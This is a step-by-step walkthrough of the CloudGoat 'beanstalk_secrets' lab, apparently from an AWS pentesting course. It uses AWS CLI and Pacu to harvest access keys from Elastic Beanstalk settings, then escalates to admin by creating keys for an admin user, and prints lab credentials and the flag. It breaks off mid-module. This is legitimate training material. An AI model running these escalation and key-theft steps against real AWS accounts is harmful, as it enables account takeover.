Introduction to AWS Pentesting - Beanstalk Secrets
This is a write up for the first capstone project in the Introduction to AWS Pentesting course from Tyler Ramsbey that can be found here. This particular challenge is a CloudGoat scenario.
A quick shout out to the community that Tyler Ramsbey has helped to curate called Hack Smarter. I joined this community a few years back when it had a different home and a different name and have been happy to be a member ever since. If you are new to pentesting or are a seasoned pentester, or are just interested in hacking I would encourage you to come check it out. I am one of the meeting leaders for our weekly goals meeting which has helped keep me motivated as I spent years learning hacking and making a career change into the pentesting world. Thank you to all who are part of this great community! If you would like to find me I go by CrazyHorse on the discord and if you would like to check it out the discord server is linked below.

Hack Smarter, not harder!
Now on to the hacking!
To start off you will need to install CloudGoat the install instructions can be found on the GitHub site and will depend on what operating system you are using. Once CloudGoat is installed you can proceed to step 1.
AWS CLI Route:
To start off I used the AWS CLI and once I had completed the challenge I went back and used Pacu which is a great tool for pentesting AWS. I did all of my hacking from a Kali Linux 2025.2 Virtual Machine running in VMWare Fusion on my personal MacBook Pro on MacOS 15.4.1. The AWS CLI can be installed from the package manager, if needed, on Kali.
Step 1 - Setup Beanstalk Secrets CloudGoat Scenario.
Run the following command in your terminal to spin up the CloudGoat Scenario.
cloudgoat create beanstalk_secrets
Spin up the CloudGoat Scenario
This will take a few minutes to complete and once it does you should see a similar output to the following. NOTE: The Access Key and Secret key for you instance will be different and will change if you destroy the scenario and re-create it.
[cloudgoat] terraform output completed with no error code.
initial_low_priv_credentials = Access Key: AKIAV7GUMQ3JFRXZKOJ5
Secret Key: Anj9p8X4X1uN5lva4IYVPUGsiKlgWgCmCrgtft3AOutput showing keys after starting the CloudGoat scenario
Step 2 - Configure a profile to use with AWS CLI
NOTE: You can name the profile whatever you want.
aws configure --profile beanstalk
Configure beanstalk profile
AWS Access Key ID [****************DZVL]: AKIAV7GUMQ3JFRXZKOJ5
AWS Secret Access Key [****************FEtB]: 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
Default region name [us-east-1]: us-east-1
Default output format [json]: jsonImport keys
Step 3 - Check that the credentials are valid
aws sts get-caller-identity --profile beanstalk
Checking credentials
{
"UserId": "AIDAV7GUMQ3JCWI6NLHPD",
"Account": "410614793938",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_low_priv_user"
}
Output Showing the credentials are valid
This output include the UserID, Account and Arn. the arn include the username, in this case "cgidlbvbudjnyb_low_priv_user" is our username.
Step 3 - Check the applications running in elastic beanstalk
aws elasticbeanstalk describe-applications --profile beanstalkChecking beanstalk applications
{
"Applications": [
{
"ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:410614793938:application/cgidlbvbudjnyb-app",
"ApplicationName": "cgidlbvbudjnyb-app",
"Description": "Elastic Beanstalk application for insecure secrets scenario",
"DateCreated": "2025-06-14T06:19:00.694000+00:00",
"DateUpdated": "2025-06-14T06:19:00.694000+00:00",
"ConfigurationTemplates": [],
"ResourceLifecycleConfig": {
"VersionLifecycleConfig": {
"MaxCountRule": {
"Enabled": false,
"MaxCount": 200,
"DeleteSourceFromS3": false
},
"MaxAgeRule": {
"Enabled": false,
"MaxAgeInDays": 180,
"DeleteSourceFromS3": false
}
}
}
}
]
}
Take note of the ApplicationName from this output
Step 4 - Check the application environment
aws elasticbeanstalk describe-environments --application-name cgidlbvbudjnyb-app --profile beanstalkCommand to check application environment
{
"Environments": [
{
"EnvironmentName": "cgidlbvbudjnyb-env",
"EnvironmentId": "e-kzdvp2ys8q",
"ApplicationName": "cgidlbvbudjnyb-app",
"SolutionStackName": "64bit Amazon Linux 2023 v4.5.2 running Python 3.13",
"PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.13 running on 64bit Amazon Linux 2023/4.5.2",
"EndpointURL": "awseb-e-k-AWSEBLoa-UNNTQ65DJHUK-1821538377.us-east-1.elb.amazonaws.com",
"CNAME": "cgidlbvbudjnyb-env.eba-pumgd7wr.us-east-1.elasticbeanstalk.com",
"DateCreated": "2025-06-14T06:19:17.102000+00:00",
"DateUpdated": "2025-06-14T06:21:59.146000+00:00",
"Status": "Ready",
"AbortableOperationInProgress": false,
"Health": "Grey",
"HealthStatus": "No Data",
"Tier": {
"Name": "WebServer",
"Type": "Standard",
"Version": "1.0"
},
"EnvironmentLinks": [],
"EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:410614793938:environment/cgidlbvbudjnyb-app/cgidlbvbudjnyb-env"
}
]
}
Take note of the EnvironmentName
Step 5 - Describe configuration settings
aws elasticbeanstalk describe-configuration-settings --application-name cgidlbvbudjnyb-app --environment-name cgidlbvbudjnyb-env --query "ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" --profile beanstalkCommand to show configuration settings
For this command to succeed we need both the application name and the environment name, which we discovered in steps 3 and 4.
[
{
"Namespace": "aws:elasticbeanstalk:application:environment",
"OptionName": "PYTHONPATH",
"Value": "/var/app/venv/staging-LQM1lest/bin"
},
{
"Namespace": "aws:elasticbeanstalk:application:environment",
"OptionName": "SECONDARY_ACCESS_KEY",
"Value": "AKIAV7GUMQ3JKGACERMV"
},
{
"Namespace": "aws:elasticbeanstalk:application:environment",
"OptionName": "SECONDARY_SECRET_KEY",
"Value": "htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6"
}
]Output showing new access keys
As you can see from the output we have now discovered new access keys!
Step 6 - Configure a new profile with the discovered keys
Next we need to configure a new profile and import the new keys we found, again you can name the profile whatever makes sense to you, I went with bean2
aws configure --profile bean2Configure bean2 profile
AWS Access Key ID [****************ESAO]: AKIAV7GUMQ3JKGACERMV
AWS Secret Access Key [****************R6l6]: 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
Default region name [us-east-1]:
Default output format [json]:
Configuring the bean2 profile
Step 7 - Check that the credentials are valid
aws sts get-caller-identity --profile bean2
Check credentials are valid
{
"UserId": "AIDAV7GUMQ3JFZDYQEB27",
"Account": "410614793938",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user"
}Output showing the credentials are valid
NOTE: The user name here is "cgidlbvbudjnyb_secondary_user"
Step 8 - View attached policies
Here we need to check the attached policies for our new "bean2" profile. We need to user the username we noted in step 7 for this.
aws iam list-attached-user-policies --user-name cgidlbvbudjnyb_secondary_user --profile bean2List attached user profiles
{
"AttachedPolicies": [
{
"PolicyName": "cgidlbvbudjnyb_secondary_policy",
"PolicyArn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy"
}
]
}Output showing PolicyName and PolicyArn
Step 9 - Get the policy for bean2
For this we need to use the PolicyArn we found above.
aws iam get-policy --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy" --profile bean2Get the policy for the bean2 profile
{
"Policy": {
"PolicyName": "cgidlbvbudjnyb_secondary_policy",
"PolicyId": "ANPAV7GUMQ3JFJ5XOC3TG",
"Arn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-06-14T06:19:00+00:00",
"UpdateDate": "2025-06-14T06:19:00+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}Output showing policy for secondary user
Step 10 - Get the policy version
Next we need to view the policy version to inspect what permission we have.
aws iam get-policy-version --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy" --version-id v1 --profile bean2View the policy for version v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:GetPolicy",
"iam:ListPolicyVersions",
"iam:GetPolicyVersion",
"iam:ListUsers",
"iam:GetUser",
"iam:ListGroups",
"iam:GetGroup",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-06-14T06:19:00+00:00"
}
}Output showing details of the policy v1
Observing the output here we can see that we are allowed to create access keys on all resources!
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"Snippet of v1 output showing we can create access keys
Step 11 - Check for other users
Since we now know that we can create access keys we should check to see if there are other users that we can create keys on.
aws iam list-users --profile bean2List all users
{
"Users": [
{
"Path": "/",
"UserName": "cgidlbvbudjnyb_admin_user",
"UserId": "AIDAV7GUMQ3JDDXTT2OHG",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user",
"CreateDate": "2025-06-14T06:19:00+00:00"
},
{
"Path": "/",
"UserName": "cgidlbvbudjnyb_low_priv_user",
"UserId": "AIDAV7GUMQ3JCWI6NLHPD",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_low_priv_user",
"CreateDate": "2025-06-14T06:19:00+00:00"
},
{
"Path": "/",
"UserName": "cgidlbvbudjnyb_secondary_user",
"UserId": "AIDAV7GUMQ3JFZDYQEB27",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user",
"CreateDate": "2025-06-14T06:19:00+00:00"
},
{
"Path": "/",
"UserName": "cloudgoat",
"UserId": "AIDAV7GUMQ3JF7CTUSRG2",
"Arn": "arn:aws:iam::410614793938:user/cloudgoat",
"CreateDate": "2025-05-14T01:14:34+00:00"
}
]
}Output showing there is an "admin_user"
NOTE: The UserName is "cgidlbvbudjnyb_admin_user"
Step 12 - List attached policies on admin_user
Let see if we can get the attached policy for the admin_user so we can see what permissions this user has. For this we need to useer the UserName we noted above.
aws iam list-attached-user-policies --user-name cgidlbvbudjnyb_admin_user --profile bean2
List attached user policies for the "admin_user"
{
"AttachedPolicies": [
{
"PolicyName": "cgidlbvbudjnyb_admin_user_policy",
"PolicyArn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy"
}
]
}Output showing the PolicyName and PolicyArn
Step 13 - Get the policy for the admin_user
aws iam get-policy --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy" --profile bean2
Command to get the policy
{
"Policy": {
"PolicyName": "cgidlbvbudjnyb_admin_user_policy",
"PolicyId": "ANPAV7GUMQ3JJBQK7TRZR",
"Arn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-06-14T06:19:00+00:00",
"UpdateDate": "2025-06-14T06:19:00+00:00",
"Tags": [
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}Output showing v1 policy Version
Step 14 - Get the policy version to view permission of admin_user
Next lets check the v1 policy to see what permission the admin_user has. We need the arn from above for this and the version.
aws iam get-policy-version --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy" --version-id v1 --profile bean2Get policy version
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-06-14T06:19:00+00:00"
}
}Output showing admin_user's permissions
As we can see from the output the "admin_user" is allowed to perform any action on any resource. This means that this user essentially has "god mode" and clearly is who we need to target.
"Action":"*", "Effect": "Allow","Resource":"*"Snippet of output from above showing we have permission to do any action on any resource
Step 15 - Privilege escalation
Looking back to step 10 we can create an access key on any resource so let's see if we can abuse this to set a key on the "admin_user". The caveat for this is if the "admin_user" already had two sets of keys applied we will not be able to set another set on them.
aws iam create-access-key --user-name cgidlbvbudjnyb_admin_user --profile bean2Set access key on "admin_user"
{
"AccessKey": {
"UserName": "cgidlbvbudjnyb_admin_user",
"AccessKeyId": "AKIAV7GUMQ3JCIKPOQUY",
"Status": "Active",
"SecretAccessKey": "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",
"CreateDate": "2025-06-14T18:27:51+00:00"
}
}Output showing keys that were created on the "admin_user"
Step 16 - Create an "admin_user" profile.
Let's create a new user profile and then use that to check if the credentials we created are valid.
aws configure --profile admin_userConfigure "admin_user" profile
AWS Access Key ID [****************CSN4]: AKIAV7GUMQ3JCIKPOQUY
AWS Secret Access Key [****************N2zK]: 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
Default region name [us-east-1]:
Default output format [json]: Apply keys we created to "admin_user" profile
Step 16 - Check to see if the credentials are valid.
aws sts get-caller-identity --profile admin_userCommand to check the credentials
{
"UserId": "AIDAV7GUMQ3JDDXTT2OHG",
"Account": "410614793938",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user"
}
Output confirming the credentials are valid
Step 16 - Check for secrets
Since we now have a user with full access let's check the secretsmanager to see if we can list secrets.
aws secretsmanager list-secrets --region us-east-1 --profile admin_userCommand to list secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:410614793938:secret:cgidlbvbudjnyb_final_flag-hWOe7f",
"Name": "cgidlbvbudjnyb_final_flag",
"LastChangedDate": "2025-06-13T23:19:01.249000-07:00",
"LastAccessedDate": "2025-06-13T17:00:00-07:00",
"Tags": [
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"SecretVersionsToStages": {
"terraform-20250614061901147500000003": [
"AWSCURRENT"
]
},
"CreatedDate": "2025-06-13T23:19:00.726000-07:00"
}
]
}Output for secrectsmanager showing final_flag
As we can see this was successful and we now have the final flag completing the challenge! "cgidlbvbudjnyb_final_flag-hWOe7f"
NOTE: I kept getting an error originally when I tried this step the error would look like this (the time stamps would change, of course, every time I tried to list secrets).
An error occurred (InvalidSignatureException) when calling the ListSecrets operation: Signature not yet current: 20250614T051038Z is still later than 20250614T032342Z (20250614T031842Z + 5 min.)Error trying to list secrets
After hours of trying to sync my clock and reading posts I finally resorted to what should have been the first or second thing to try and rebooted my VM. After the reboot the command worked right away. Before that the command would hang for about 5 minutes and then output the error. I realized that I had been using this VM for a HTB box where I needed to run sudo ntpdate to sync my clock to the kerberos server, however, even after correcting the clock skew and double checking it was perfectly in sync with AWS I would still get the error. After that I only could come up with a reboot which fixed it right away. Hopefully this can help someone else out if they run into a similar error.
Pacu route AKA easy mode:
Using the Pacu tool we can complete this challenge much quicker. My goal was to learn as much as possible so I did the AWS CLI method first, then tried this route. I am going to skip the steps of spinning up the CloudGoat scenario and configuring the AWS beanstalk profile, as those can be found above in steps 1,2 and 3 in the AWS CLI route above.
Step 1 - Start Pacu and import keys
To start Pacu once it is installed we can simply type pacu in our terminal. Once that is done you will see output similar to this
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀
Version: unknown
Found existing sessions:
[0] New sessionPacu splash screen
Type '0' to setup a new session then import the keys from the beanstalk profile we setup. I named the session beanstalk in Pacu to keep it simple.
Pacu (beanstalk:imported-beanstalk) > import_keys beanstalk
Imported keys as "imported-beanstalk"
Import the keys from the AWS beanstalk profile into Pacu
Step 2 - Enumerate beanstalk with Pacu
Pacu (beanstalk:imported-beanstalk) > run elasticbeanstalk__enum --region us-east-1
Command to run enumeration on beanstalk in Pacu
Running module elasticbeanstalk__enum...
[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum] 1 application(s) found in us-east-1.
[elasticbeanstalk__enum] 1 environment(s) found in us-east-1.
Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0
Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIAV7GUMQ3JKGACERMV
Potential secret in environment variable: SECONDARY_ACCESS_KEY => AKIAV7GUMQ3JKGACERMV
[elasticbeanstalk__enum] 1 configuration setting(s) found in us-east-1.
[elasticbeanstalk__enum] 3 potential secret(s) found in config settings and saved to: /home/chxsec/.local/share/pacu/beanstalk/downloads/beanstalk_secrets_beanstalk_us-east-1.txt
[elasticbeanstalk__enum] 1 environment(s) with tags found in us-east-1.
[elasticbeanstalk__enum] elasticbeanstalk__enum completed.
[elasticbeanstalk__enum] MODULE SUMMARY:
1 total application(s) found.
1 total environment(s) found.
1 total configuration setting group(s) found.
1 environment(s) with tags enumerated.
3 potential secret(s) discovered in config settings.
Output from enumeration
As we can see in the output keys were listed.
SECONDARY_SECRET_KEY=htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6
SECONDARY_ACCESS_KEY=AKIAV7GUMQ3JKGACERMVKeys for secondary user
Step 3 - Check the keys to see if they are valid
For this you can either exit Pacu or open a new pane or terminal window. First we need to configure a profile and then check the credentials. As with AWS CLI route I used bean2 as the profile name.
aws configure --profile bean2
AWS Access Key ID [****************ESAO]: AKIAV7GUMQ3JKGACERMV
AWS Secret Access Key [****************R6l6]: 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
Default region name [us-east-1]:
Default output format [json]:Configure the "bean2" profile
Next check that the keys are valid
aws sts get-caller-identity --profile bean2
{
"UserId": "AIDAV7GUMQ3JFZDYQEB27",
"Account": "410614793938",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user"
}
Confirm the credentials are valid
Step 4 - Check permission in Pacu
Back in our Pacu window let's check permissions for the "beanstalk" profile before moving onto the new profile.
run iam__enum_permissions --region us-east-1Enum Permissions for "beanstalk" profile
run iam__bruteforce_permissions --region us-east-1bruteforce permission for "beanstalk" profile
[iam__bruteforce_permissions] iam__bruteforce_permissions completed.
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 4
Snippet of the output from bruteforce__permissions
I did not see anything that looks super useful here so lets move onto the next user/profile.
Step 5 - Import our "bean2" keys into Pacu
Pacu (beanstalk:imported-beanstalk) > import_keys bean2
Imported keys as "imported-bean2"Import keys into Pacu
Step 6 - Enumerate permissions with "bean2"
Pacu (beanstalk:imported-bean2) > run iam__enum_permissions
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions] cgidlbvbudjnyb_secondary_user...
[iam__enum_permissions] List groups for user failed
[iam__enum_permissions] FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions] List user policies failed
[iam__enum_permissions] FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions] Confirmed Permissions for cgidlbvbudjnyb_secondary_user
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:
0 Confirmed permissions for 0 user(s).
0 Confirmed permissions for 0 role(s).
14 Unconfirmed permissions for user: cgidlbvbudjnyb_secondary_user.
0 Unconfirmed permissions for 0 role(s).
Type 'whoami' to see detailed list of permissions.
IAM enumeration on permissions
As the output shows we can now run whoami to get list of detailed permissions.
Pacu (beanstalk:imported-bean2) > whoamiwhoami command
"AccessKeyId": "AKIAV7GUMQ3JJL7LIG6A",
"SecretAccessKey": "MUV9b7PsINnDV10Ccco5********************",
"SessionToken": null,
"KeyAlias": "imported-bean2",
"PermissionsConfirmed": false,
"Permissions": {
"Allow": {
"iam:createaccesskey": {
"Resources": [
"*"
]
},
Snippet of output showing permissions
As we can see from the output we are allowed to create access keys on all resources.
Step 7 - Run privesc scan
We can also run the privilege escalation scan to check for escalation paths.
run iam__privesc_scan --scan-onlyPrivilege Escalation Scan
Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan] POTENTIAL: AddUserToGroup
[iam__privesc_scan] POTENTIAL: AttachGroupPolicy
[iam__privesc_scan] POTENTIAL: AttachRolePolicy
[iam__privesc_scan] POTENTIAL: AttachUserPolicy
[iam__privesc_scan] POTENTIAL: CodeStarCreateProjectFromTemplate
[iam__privesc_scan] POTENTIAL: CodeStarCreateProjectThenAssociateTeamMember
[iam__privesc_scan] CONFIRMED: CreateAccessKey
[iam__privesc_scan] POTENTIAL: CreateEC2WithExistingIP
[iam__privesc_scan] POTENTIAL: CreateLoginProfile
[iam__privesc_scan] POTENTIAL: CreateNewPolicyVersion
[iam__privesc_scan] POTENTIAL: EditExistingLambdaFunctionWithRole
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewCloudFormation
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewCodeStarProject
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewDataPipeline
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewGlueDevEndpoint
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewLambdaThenInvoke
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewLambdaThenInvokeCrossAccount
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithExistingDynamo
[iam__privesc_scan] POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithNewDynamo
[iam__privesc_scan] POTENTIAL: PutGroupPolicy
[iam__privesc_scan] POTENTIAL: PutRolePolicy
[iam__privesc_scan] POTENTIAL: PutUserPolicy
[iam__privesc_scan] POTENTIAL: SetExistingDefaultPolicyVersion
[iam__privesc_scan] POTENTIAL: UpdateExistingGlueDevEndpoint
[iam__privesc_scan] POTENTIAL: UpdateLoginProfile
[iam__privesc_scan] POTENTIAL: UpdateRolePolicyToAssumeIt
[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:
Scan CompleteOutput of privilege escalation scan
Again we see "[iam__privesc_scan] CONFIRMED: CreateAccessKey" on the output indicating we can create access keys.
Step 8 - Run privilege escalation
Now instead of just scanning, we can run the module for privilege escalation.
run iam__privesc_scan --user-methods CreateAccessKeyRunning escalation module
[iam__privesc_scan] Is there a specific user you want to target? They must not already have two sets of access keys created for their user. Enter their user name now or just hit enter to enumerate users and view a list of options:
[iam__privesc_scan] Found 4 user(s). Choose a user below.
[iam__privesc_scan] [0] Other (Manually enter user name)
[iam__privesc_scan] [1] cgidlbvbudjnyb_admin_user
[iam__privesc_scan] [2] cgidlbvbudjnyb_low_priv_user
[iam__privesc_scan] [3] cgidlbvbudjnyb_secondary_user
[iam__privesc_scan] [4] cloudgoat
First output from privilege escalation
Since we already have control of the low_priv_user and the secondary_user it makes sense to target the admin_user here. We can do this by typing 1 and hitting enter.
[iam__privesc_scan] Choose an option: 1
[iam__privesc_scan] Running module iam__backdoor_users_keys...
